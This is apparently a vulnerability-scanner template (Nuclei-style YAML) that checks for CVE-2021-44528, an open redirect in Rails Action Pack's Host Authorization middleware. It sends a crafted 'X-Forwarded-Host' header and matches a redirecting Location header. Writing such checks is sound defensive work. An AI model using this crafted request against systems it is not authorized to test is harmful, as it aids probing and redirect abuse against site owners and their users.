CVE-2021-44528.yaml

id: CVE-2021-44528

info:
  name: Open Redirect in Host Authorization Middleware
  author: geeknik
  severity: low
  description: Specially crafted "X-Forwarded-Host" headers in combination with certain "allowed host" formats can cause the Host Authorization middleware in Action Pack to redirect users to a malicious website.
  reference:
    - https://seclists.org/oss-sec/2021/q4/att-160/7-0-host-authorzation-open-redirect.patch
  tags: cve,cve2021,redirect

requests:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        X-Forwarded-Host: //example.com

    matchers-condition: and
    matchers:
      - type: regex
        part: header
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)example\.com\/?(\/|[^.].*)?$'

      - type: status
        status:
          - 301
          - 302
          - 307
          - 308